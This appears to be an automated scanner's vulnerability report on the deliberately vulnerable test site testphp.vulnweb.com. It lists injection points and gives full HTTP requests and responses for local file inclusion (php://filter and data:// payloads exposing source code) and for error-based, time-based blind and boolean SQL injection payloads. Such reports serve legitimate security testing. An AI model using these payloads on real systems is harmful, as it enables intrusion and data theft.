

# Injection Points & Security Checks

Engine	QueryString	Post	Header	Cookie	Url	UrlRewrite	ExtraParameter
SQL Injection	[X]	[X]	[ ]	[ ]	[X]	[X]	[ ]
HTML Injection	[X]	[X]	[ ]	[ ]	[X]	[X]	[X]
Backup Files	[ ]	[ ]	[ ]	[ ]	[X]	[ ]	[ ]
File Upload	[ ]	[X]	[ ]	[ ]	[ ]	[ ]	[ ]
Open Redirect	[X]	[X]	[ ]	[ ]	[X]	[X]	[ ]
Command Injection	[X]	[X]	[ ]	[ ]	[X]	[X]	[ ]
Header Injection	[X]	[X]	[ ]	[ ]	[X]	[X]	[ ]
Local File Inclusion	[X]	[X]	[ ]	[ ]	[X]	[X]	[ ]
Code Evaluation	[X]	[X]	[ ]	[ ]	[X]	[X]	[ ]

## Severity Levels

### High

It is possible for an intruder to penetrate and compromise the system fully and/or gain access to highly sensitive system information. This in turn could lead to theft or loss of private and sensitive data.

### Medium

An intruder can gain access to system information that could lead to more specific attacks and possibly a full system compromise. This in turn could lead to theft or loss of private and sensitive data.

### Low

An intruder can gain access to system information that can aid and lead to more specific attacks resulting in the theft or loss of private and sensitive data.

### Information

All entries at this level simply provide additional information to that already available about the tested system. It doesn't imply that the system is vulnerable or not.

Path	Injection Point	Type
------	-----------------	------

## Code Evaluation via Local File Inclusion

/showimage.php	file	QueryString
----------------	------	-------------

## Local File Inclusion

/showimage.php	file	QueryString
----------------	------	-------------

## SQL Injection

/listproducts.php	cat	QueryString
-------------------	-----	-------------

/listproducts.php	artist	QueryString
-------------------	--------	-------------

## SQL Injection (Blind)

/artists.php	artist	QueryString
--------------	--------	-------------

/search.php	test	QueryString
-------------	------	-------------

/AJAX/infoartist.php	id	QueryString
----------------------	----	-------------

/search.php	test	QueryString
-------------	------	-------------

/product.php	pic	QueryString
--------------	-----	-------------

/AJAX/infocateg.php	id	QueryString
---------------------	----	-------------

/AJAX/infotitle.php	id	Post
---------------------	----	------

## SQL Injection (Boolean)

/artists.php	artist	QueryString
--------------	--------	-------------

/AJAX/infoartist.php	id	QueryString
----------------------	----	-------------

/userinfo.php	uname	Post
---------------	-------	------

/userinfo.php	pass	Post
---------------	------	------

/product.php	pic	QueryString
--------------	-----	-------------

/secured/newuser.php	uname	Post
----------------------	-------	------

/AJAX/infocateg.php	id	QueryString
---------------------	----	-------------

/AJAX/infotitle.php	id	Post
---------------------	----	------

## Backup File

/index.bak
------------

/index.zip

/index.bak

/index.zip

## Cross Site Scripting

/search.php	searchFor	Post
/guestbook.php	name	Post
/guestbook.php	text	Post
/hpp/	pp	QueryString
/hpp/	pp	QueryString
/showimage.php	file	QueryString
/showimage.php	file	QueryString
/comment.php	name	Post
/comment.php	name	Post
/secured/newuser.php	uname	Post
/hpp/params.php	p	QueryString
/hpp/params.php	pp	QueryString
/hpp/params.php	pp	QueryString
/hpp/params.php	p	QueryString

## HTML Injection

/search.php	searchFor	Post
/guestbook.php	name	Post
/guestbook.php	text	Post
/hpp/	pp	QueryString
/hpp/	pp	QueryString
/showimage.php	file	QueryString
/showimage.php	file	QueryString
/comment.php	name	Post
/comment.php	name	Post
/secured/newuser.php	uname	Post
/hpp/params.php	p	QueryString

/hpp/params.php	pp	QueryString
/hpp/params.php	pp	QueryString
/hpp/params.php	p	QueryString

## Source Code Disclosure

/index.bak

/index.bak

/showimage.php

/pictures/wp-config.bak

## Directory Listing

/images/

/Mod\_Rewrite\_Shop/images/

/pictures/

/CVS/

/admin/

/.idea/

## Error Message (PHP)

/search.php

/listproducts.php

/artists.php

/AJAX/infoartist.php

/userinfo.php

/search.php

/showimage.php

/product.php

/showimage.php

/listproducts.php

/AJAX/infocateg.php

/AJAX/infotitle.php

## Predictable Resource Location

/CVS/

/admin/

/clientaccesspolicy.xml

/crossdomain.xml

/.idea/

/secured/phpinfo.php

## Unexpected Redirect Response Body

/comment.php

## Application / Version Disclosure

/

/index.php

/categories.php

/artists.php

/disclaimer.php

## Email Disclosure

/

/index.php

/categories.php

/artists.php

/disclaimer.php

/cart.php

/guestbook.php

/login.php

/search.php

/listproducts.php

## Internal IP Address Disclosure

/pictures/ipaddresses.txt

/secured/phpinfo.php

## Internal Path (Linux)

/search.php

/listproducts.php

/artists.php

/AJAX/infoartist.php

/userinfo.php

/search.php

/showimage.php

/product.php

/showimage.php

/listproducts.php

/secured/phpinfo.php

/secured/phpinfo.php

/AJAX/infocateg.php

/AJAX/infotitle.php

# Code Evaluation via Local File Inclusion

PCI 3.2-6.5.8, OWASP 2013-A4

**Url:** http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg&size=160



**Injection Point:** file

**Type:** QueryString

**Payload:** data::base64,QkVBOTU3NTM0MjY1R0xF

## Request

```
GET /showimage.php?file=data%3a%3bbase64%2cQkVBOTU3NTM0MjY1R0xF&size=160 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:16 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: image/jpeg
```

BEA957534265GLEi%Z



# Local File Inclusion

PCI 3.2-6.5.8, OWASP 2013-A4

**Url:** http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg



**Injection Point:** file

**Type:** QueryString

**Payload:** php://filter/convert.base64-encode/resource=showimage.php

## Decoded Base64 Content

```
<?php
// header("Content-Length: 1" /*. filesize($name)*/);
if( isset($_GET["file"]) && !isset($_GET["size"]) ){
    // open the file in a binary mode
    header("Content-Type: image/jpeg");
    $name = $_GET["file"];
    $fp = fopen($name, 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}
elseif (isset($_GET["file"]) && isset($_GET["size"])){
    header("Content-Type: image/jpeg");
    $name = $_GET["file"];
    $fp = fopen($name.'.tn', 'rb');

    // send the right headers
    header("Content-Type: image/jpeg");

    // dump the picture and stop the script
    fpassthru($fp);
    exit;
}
?>
```

## Request

```
GET /showimage.php?file=php%3a%2f%2ffilter%2fconvert.base64-encode%2fresource%3dshowimage.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

HTTP/1.1 200 OK  
Connection: keep-alive  
Date: Tue, 20 Jan 1970 07:11:08 GMT  
Transfer-Encoding: chunked  
Server: nginx/1.4.1  
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2  
Content-Type: image/jpeg

PD9waHANCi8vIGhlyYWRlciQiQ29udGVudC1MZW5ndGg6IDEiIC8qLiBmaWxlC2l6ZSgkbmFtZSkqLyk7DQppZiggaXNzZXQoJF9HRVRbImZp  
bGUiXSkgJiYgIwIzc2V0KCRfR0VUWyJzaXp1I10pICl7DQoJLy8gb3BlbiB0aGUgZmlsZSBpbjBhIGJpbmFyeSBtb2RlDQoJaGVhZGVyKCJD  
b250ZW50LVR5cGU6IGltYWdlL2pwZWciKTSNCgkkmFtZSA9ICRfR0VUWyJmaWxlI107DQoJJGZwID0gZm9wZW4oJG5hbWUsICdyYicpOw0K  
CQ0KCS8vIHN1bmQgdGhlIHJpZ2h0IGhlyYWRlcnMNCgloZWFKZXIoIkNvbnRlbnQtVHlwZTogaw1hZ2UvanB1ZyIpOwkNCgkNCgkvLyBkdW1w  
IHRoZSBwaWN0dXJlIGFuZCBzdG9wIHRoZSBzY3JpcHQNCg1mcGFzc3RocnUoJGZwKTSNCg1leG10w0KfQ0KZWxzZWlmIChpc3NldCgkX0dF  
VFsiZmlsZSJdKSAmJiBpc3NldCgkX0dFVFsiZmlsZSJdKS17DQoJaGVhZGVyKCJD b250ZW50LVR5cGU6IGltYWdlL2pwZWciKTSNCgkkmFt  
ZSA9ICRfR0VUWyJmaWxlI107DQoJJGZwID0gZm9wZW4oJG5hbWUuJy50bicsICdyYicpOw0KQ0KCS8vIHN1bmQgdGhlIHJpZ2h0IGhlyYWRl  
cnMNCgloZWFKZXIoIkNvbnRlbnQtVHlwZTogaw1hZ2UvanB1ZyIpOwkNCgkNCgkvLyBkdW1wIHRoZSBwaWN0dXJlIGFuZCBzdG9wIHRoZSBz  
Y3JpcHQNCg1mcGFzc3RocnUoJGZwKTSNCg1leG10w0KfQ0KPz4g

# SQL Injection

PCI 3.2-6.5.1, OWASP 2013-A1, CWE 89

**Url:** http://testphp.vulnweb.com/listproducts.php?cat=1

**Injection Point:** cat

**Type:** QueryString

**Payload:** (SELECT 1 and ROW(1,1)>(SELECT COUNT(\*),CONCAT(0x35714C314E6A33633731306E,0x3a,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.TABLES GROUP BY x)a)

## Database Type

MySQL

## Database Version

5.1.73-0ubuntu0.10.04.1

## Request

```
GET /listproducts.php?cat=(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(0x35714C314E6A33633731306E%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/categories.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:22 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
ery(): Unable to save result set in /hj/var/www/listproducts.php on line 61
Error: Duplicate entry '5qL1Nj3c710n:1' for key 'group_key'
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean giv
...
```

**Url:** http://testphp.vulnweb.com/listproducts.php?artist=1



**Injection Point:** artist

**Type:** QueryString

**Payload:** (SELECT 1 and ROW(1,1)>(SELECT COUNT(\*),CONCAT(0x35714C314E6A33633731306E,0x3a,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.TABLES GROUP BY x)a)

#### Database Type

MySQL

#### Database Version

5.1.73-0ubuntu0.10.04.1

## Request

```
GET /listproducts.php?artist=(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT(*)%2cCONCAT(0x35714C314E6A33633731306E%2c0x3a%2cFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/artists.php?artist=1
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:32 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
ery(): Unable to save result set in /hj/var/www/listproducts.php on line 67
Error: Duplicate entry '5qL1Nj3c710n:1' for key 'group_key'
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean giv
```

...

# SQL Injection (Blind)

PCI 3.2-6.5.1, OWASP 2013-A1, CWE 89

**Url:** http://testphp.vulnweb.com/artists.php?artist=1

**Injection Point:** artist

**Type:** QueryString

**Payload:** ((SELECT 1 FROM (SELECT SLEEP(2))A))\*'XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR"\*/

## Request

```
GET /artists.php?artist=((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%277c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%22*%2f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/artists.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:44 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

n. Vestibulum condimentum facilisis

nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.  
Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.  
Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a  
mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad  
litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.  
Mauris magna eros, semper a, tempor et, rutrum et, tortor.

</p>

<p>

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.

Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis  
nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.  
Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.  
Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a  
mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad

litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.

...

**Url:** http://testphp.vulnweb.com/search.php?test=query



**Injection Point:** test

**Type:** QueryString

**Payload:** ((SELECT 1 FROM (SELECT SLEEP(2))A))/\*XOR(((SELECT 1 FROM (SELECT SLEEP(2))A))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(2))A))OR"\*/

## Request

```
POST /search.php?test=((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))OR%27%7c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))OR%22*%2f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/
Host: testphp.vulnweb.com
Content-Length: 22
Content-Type: application/x-www-form-urlencoded

searchFor=&goButton=go
```

## Response

```
HTTP/1.1 200 OK
Connection: close
Date: Tue, 20 Jan 1970 07:08:45 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
= 'product.php?pic=2'>Mistery</a>, by: <a href='artists.php?artist=1'>r4w8173</a>; from category <a href='listproducts.php?cat=1'>Posters</a></div><div class='story'><p><a href='showimage.php?file=./pictures/3.jpg' target='_blank'><img style='cursor:pointer' border='0' align='center' src='showimage.php?file=./pictures/3.jpg&size=160' width='160' height='100'></a><a href='product.php?pic=3'>The universe</a>, by: <a href='artists.php?artist=1'>r4w8173</a>; from category <a href='listproducts.php?cat=1'>Posters</a></div><div class='story'><p><a href='showimage.php?file=./pictures/4.jpg' target='_blank'><img style='cursor:pointer' border='0' align='center' src='showimage.php?file=./pictures/4.jpg&size=160' width='160' height='100'></a><a href='product.php?pic=4'>Walking</a>, by: <a href='artists.php?artist=1'>r4w8173</a>; from category <a href='listproducts.php?cat=1'>Posters</a></div><div class='story'><p><a href='showimage.php?file=./pictures/5.jpg' target='_blank'><img style='cursor:pointer' border='0' align='center' src='showimage.php?file=./pictures/5.jpg&size=160' width='160' height='100'></a><a href='product.php?pic=5'>Mean</a>, by: <a href='artists.php?artist=1'>r4w8173</a>; from category <a href='listproducts.php?cat=1'>Posters</a></div><div class='story'>
```

...

Url: http://testphp.vulnweb.com/AJAX/infoartist.php?id=3



**Injection Point:** id

**Type:** QueryString

**Payload:** ((SELECT 1 FROM (SELECT SLEEP(2))A))/ \*'XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR"\*/

## Request

```
GET /AJAX/infoartist.php?id=((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%27c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%22*%2f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:09:38 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml
```

```
<iteminfo><name>r4w8173</name><description>&lt;p&gt;
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.
    Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis
    nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.
    Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.
    Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a
    mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad
    litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.
    Mauris magna eros, semper a, tempor et, rutrum et, tortor.
&lt;/p&gt;
&lt;p&gt;
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.
    Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis
    nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.
    Cras venenatis. Aliquam posuere lobortis pede. Nullam fringilla urna id leo.
    Praesent aliquet pretium erat. Praesent non odio. Pellentesque a magna a
    mauris vulputate lacinia. Aenean viverra. Class aptent taciti sociosqu ad
    litora torquent per conubia nostra, per inceptos hymenaeos. Aliquam lacus.
    Mauris magna eros, semper a, tempor et, rutrum et, tortor.
&lt;/p&gt;</description></iteminfo>
```



**Url:** http://testphp.vulnweb.com/search.php?test=query



**Injection Point:** test

**Type:** QueryString

**Payload:** (((SELECT 1 FROM (SELECT SLEEP(2))A))/\*'XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR"\*/

## Request

```
GET /search.php?test=((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%27%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%22*%2f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:16 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

```
...
| <a href="artists.php">artists
      </a> | <a href="disclaimer.php">disclaimer</a> | <a href="cart.php">your cart</a> |
      <a href="guestbook.php">guestbook</a> |
      <a href="AJAX/index.php">AJAX Demo</a>
    </td>
    <td align="right">
      <a href='logout.php'>Logout test</a>    </td>
    </tr></table>
  </div>
</div>
<!-- end masthead -->

<!-- begin content -->
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
  </div>
<!-- InstanceEndEditable -->
<!--end content -->
```

```
<div id="navBar">
  <div id="search">
    <form action="search.php?test=query" method="post">
      <label>search art</label>
      <input name="searchFor" type="text" size="10">
      <input name="goButton" type="submit" value="go">
    </form>
  </div>
  <div id="sectionLinks
```

...

Url: http://testphp.vulnweb.com/product.php?pic=1



**Injection Point:** pic

**Type:** QueryString

**Payload:** ((SELECT 1 FROM (SELECT SLEEP(2))A))/ \*'XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR"\*/

## Request

```
GET /product.php?pic=((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%27%7c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%22*%2f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Cookie: login=test%2ftest
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/search.php?test=query
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:11:20 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Encoding:
Content-Type: text/html
```

...

```
<!-- InstanceBeginEditable name="content_rgn" -->
<div id="content">
    <h2 id='pageName'>The shore</h2><div class='story'><p><a href='showimage.php?file=./pictures/1.jpg'
    target='_blank'><img style='cursor:pointer' border='0' align='center' src='showimage.php?file=./pictures/1.
    jpg&size=160' width='160' height='100'></a><h3>Short description</h3><p>Lorem ipsum dolor sit amet, consecte
    tuer adipiscing elit. Donec molestie.
    Sed aliquam sem ut arcu.</p><h3>Long description</h3><p><p>
    This picture is an 53 cm x 12 cm masterpiece.
</p>
<p>
    This text is not meant to be read. This is being used as a place holder. Please feel free to change this by
    inserting your own information.This text is not meant to be read. This is being used as a place holder. Ple
    ase feel free to change this by inserting your own information.This text is not meant to be read. This is be
    ing used as a place holder. Please feel free to change this by inserting your own information.This text is n
    ot meant to be read. This is being used as a place holder. Please feel free to change this by inserting your
    own information.
```

</p></p><p><p



**Url:** http://testphp.vulnweb.com/AJAX/infocateg.php?id=2



**Injection Point:** id

**Type:** QueryString

**Payload:** ((SELECT 1 FROM (SELECT SLEEP(2))A))/\*'XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR"\*/

## Request

```
GET /AJAX/infocateg.php?id=((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%277c%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%22*%2f HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:33 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml
```

```
<iteminfo><name>Posters</name><description>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.
```

```
    Sed aliquam sem ut arcu. Phasellus sollicitudin. Vestibulum condimentum facilisis nulla. In hac habitasse platea dictumst. Nulla nonummy. Cras quis libero.
```

```
    Cras venenati</description></iteminfo>
```

**Url:** http://testphp.vulnweb.com/AJAX/infotitle.php



**Injection Point:** id

**Type:** Post

**Payload:** ((SELECT 1 FROM (SELECT SLEEP(2))A))/\*'XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(2))A)))OR"\*/

## Request

```
POST /AJAX/infotitle.php HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/AJAX/index.php
Host: testphp.vulnweb.com
Content-Length: 172
Content-Type: application/x-www-form-urlencoded
```

```
id=((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A))%2f*%27XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%27%22XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(2))A)))OR%22*%2f
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:16:44 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
X-Powered-By: PHP/5.3.10-1~lucid+2uwsgi2
Content-Type: text/xml
```

```
<iteminfo><name>The shore</name><description>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec molestie.
Sed aliquam sem ut arcu.</description><description>&lt;p&gt;
This picture is an 53 cm x 12 cm masterpiece.
&lt;/p&gt;
&lt;p&gt;
This text is not meant to be read. This is being used as a place holder. Please feel free to change this by inserting your own information.This text is not meant to be read. This is being used as a place holder. Please feel free to change this by inserting your own information.This text is not meant to be read. This is being used as a place holder. Please feel free to change this by inserting your own information.
&lt;/p&gt;</description><description>price: 500</description><picture>./pictures/1.jpg</picture></iteminfo>
```

# SQL Injection (Boolean)

PCI 3.2-6.5.1, OWASP 2013-A1, CWE 89

**Url:** http://testphp.vulnweb.com/artists.php?artist=1



**Injection Point:** artist

**Type:** QueryString

**Payload:** 1 AND 1=1

## Request

```
GET /artists.php?artist=1%20AND%201%3d1 HTTP/1.1
Cache-Control: no-cache
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5
Referer: http://testphp.vulnweb.com/artists.php
Host: testphp.vulnweb.com
```

## Response

```
HTTP/1.1 200 OK
Connection: keep-alive
Date: Tue, 20 Jan 1970 07:08:36 GMT
Transfer-Encoding: chunked
Server: nginx/1.4.1
